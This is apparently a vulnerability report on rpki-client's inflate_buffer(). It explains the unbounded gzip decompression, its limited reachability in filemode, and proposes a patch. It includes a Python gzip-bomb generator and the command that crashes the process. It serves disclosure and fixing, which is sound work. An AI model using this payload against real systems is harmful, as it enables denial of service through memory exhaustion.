BUG REPORT: Unbounded decompression in inflate_buffer()
========================================================
Component: rpki-client
File: usr.sbin/rpki-client/encoding.c, inflate_buffer(), lines 84-129
Version: Current (as of 2026-04-06)
Severity: Medium (CVSS 5.5)
Category: Missing output size limit — OOM crash via gzip bomb
Privsep: proc_parser (when invoked via filemode -f)
1. DESCRIPTION
--------------
inflate_buffer() decompresses gzip data in a loop with no ceiling on the
output size. The function grows its output buffer indefinitely until either
decompression completes or the system runs out of memory.
Buggy code in encoding.c, lines 84-129:
unsigned char *
inflate_buffer(uint8_t *inbuf, size_t inlen, size_t *outlen)
{
z_stream zs;
uint8_t *buf = NULL, *nbuf;
size_t buf_len;
int zret;
memset(&zs, 0, sizeof(zs));
zs.avail_in = inlen;
zs.next_in = inbuf;
if (inflateInit2(&zs, MAX_WBITS + 16) != Z_OK)
goto err;
buf_len = inlen * 2;
do {
buf_len += GZIP_CHUNK_SIZE; /* +32KB each iteration */
if ((nbuf = realloc(buf, buf_len)) == NULL)
err(1, NULL); /* OOM = fatal process exit */
buf = nbuf;
zs.next_out = buf + zs.total_out;
zs.avail_out = buf_len - zs.total_out;
zret = inflate(&zs, Z_NO_FLUSH);
if (zret != Z_OK && zret != Z_STREAM_END)
goto err;
} while (zs.avail_out == 0); /* no size limit check */
...
}
There is no check comparing zs.total_out (or buf_len) against
MAX_FILE_SIZE (8,000,000, defined at extern.h line 1051) or any other
upper bound.
Additionally, load_file() in the same file (line 51) intentionally
skips the MAX_FILE_SIZE check when in filemode:
if (st.st_size <= 0 || (!filemode && st.st_size > MAX_FILE_SIZE)) {
This means both the compressed input AND the decompressed output are
unbounded when running in filemode.
REACHABILITY:
inflate_buffer() is called from exactly one location:
- filemode.c:464, inside proc_parser_file():
if (rtype_from_file_extension(file) == RTYPE_GZ) {
...
if ((full_buf = inflate_buffer(buf, len, &full_len)) == NULL) {
warnx("%s: gzip decompression failed", file);
goto out;
}
...
}
This is reached only when rpki-client is invoked with the -f flag
(manual file inspection mode). The daemon mode uses separate, bounded
decompression paths:
- http.c: http_inflate_data() / http_inflate_advance() (writes to disk,
checks conn->totalsz against a 1MB limit)
- rrdp_util.c:84: checks outlen against MAX_FILE_SIZE
Therefore this bug is NOT exploitable in normal daemon operation. It
affects only the -f diagnostic mode.
2. PROOF OF CONCEPT
--------------------
Create a gzip bomb — a small compressed file that expands to gigabytes:
#!/usr/bin/env python3
"""Generate a gzip bomb that decompresses to ~1GB from ~1MB."""
import gzip
import os
output_file = "poc-gzip-bomb.roa.gz"
# 1GB of zero bytes compresses to approximately 1MB
target_size = 1024 * 1024 * 1024 # 1 GB
chunk = b'\x00' * (1024 * 1024) # 1 MB chunks of zeros
with gzip.open(output_file, 'wb', compresslevel=9) as f:
written = 0
while written < target_size:
f.write(chunk)
written += len(chunk)
compressed_size = os.path.getsize(output_file)
print(f"Created {output_file}: {compressed_size} bytes compressed")
print(f"Decompresses to: {target_size} bytes ({target_size // 1024 // 1024}
MB)")
Then run rpki-client in filemode:
$ rpki-client -f poc-gzip-bomb.roa.gz
Expected behavior:
rpki-client should reject the file when the decompressed output
exceeds MAX_FILE_SIZE (8MB).
Actual behavior:
inflate_buffer() allocates memory in 32KB increments until the system
runs out of memory, at which point realloc() returns NULL and
err(1, NULL) terminates the process with:
rpki-client: (null)
On a memory-constrained system, this may trigger the OOM killer and
affect other processes.
The included poc-ob002-gzip-bomb.py generates the test file:
$ python3 poc-ob002-gzip-bomb.py
OB-002 POC: Creating gzip bomb
Target decompressed size: 100 MB
MAX_FILE_SIZE limit: 8 MB
Created: poc-gzip-bomb.mft.gz
Compressed size: 101,959 bytes (99 KB)
Decompressed size: 104,857,600 bytes (100 MB)
Compression ratio: 1028:1
To trigger the bug (on OpenBSD with rpki-client installed):
rpki-client -f poc-gzip-bomb.mft.gz
99 KB on disk, 100 MB when decompressed — 12.5x MAX_FILE_SIZE.
inflate_buffer() will allocate all 100 MB with no check.
3. SUGGESTED FIX
-----------------
Add a MAX_FILE_SIZE ceiling inside the decompression loop. This mirrors
the existing pattern in rrdp_util.c (line 84) and the MAX_FILE_SIZE
check in load_file() (line 51). The existing `err` label at line 125
already calls inflateEnd() and frees the buffer before returning NULL,
so cleanup is handled:
--- a/usr.sbin/rpki-client/encoding.c
+++ b/usr.sbin/rpki-client/encoding.c
@@ -99,6 +99,10 @@ inflate_buffer(uint8_t *inbuf, size_t inlen, size_t *outlen)
buf_len = inlen * 2;
do {
+ if (zs.total_out > MAX_FILE_SIZE) {
+ warnx("inflate: output too large");
+ goto err;
+ }
buf_len += GZIP_CHUNK_SIZE;
if ((nbuf = realloc(buf, buf_len)) == NULL)
err(1, NULL);
The caller in filemode.c already handles the NULL return:
if ((full_buf = inflate_buffer(buf, len, &full_len)) == NULL) {
warnx("%s: gzip decompression failed", file);
goto out;
}